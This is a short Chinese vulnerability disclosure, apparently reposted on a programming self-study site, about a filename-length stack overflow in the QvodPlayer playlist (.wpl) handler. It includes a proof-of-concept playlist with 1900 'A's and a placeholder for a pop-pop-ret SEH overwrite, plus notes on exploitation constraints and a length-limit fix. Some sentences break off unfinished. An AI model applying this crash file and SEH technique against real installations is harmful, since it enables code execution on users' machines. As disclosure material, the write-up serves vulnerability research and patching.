处理播放列表文件之后,在某处再次引用文件名没有限制长度而导致溢出
版本:
<?wpl version="1.0"?>
<smil>
<head>
<meta name="Generator" content="Nothing is true"/>
<title>test</title>
</head>
<body>
<seq>
<media src="AAA......AAAACRAAAAAAAAAA.wma"/>
</seq>
</body>
</smil>
CR之前一共有1900个'A',CR是MultiByteToWideChar之后pop pop ret的地址,将上述代码保存为xxx.wpl
在处理wpl文件之后,在播放列表中显示
当鼠标滑过播放列表中的文件名时,将导致溢出
通过覆盖异常,可以跳转到
然后由于复制内容超出堆栈段的最大地址空间而导致异常,跳到
要想成功利用该 漏洞 ,shellcode必须是可打印字符,然后还经过unicode转换之后还必须能使用,最后该堆栈段,还不能执行,ret2lib把。。。。
修复方案:
长度限制
查看更多关于快播播放器播放列表文件溢出 - 网站安全 - 自学的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did14630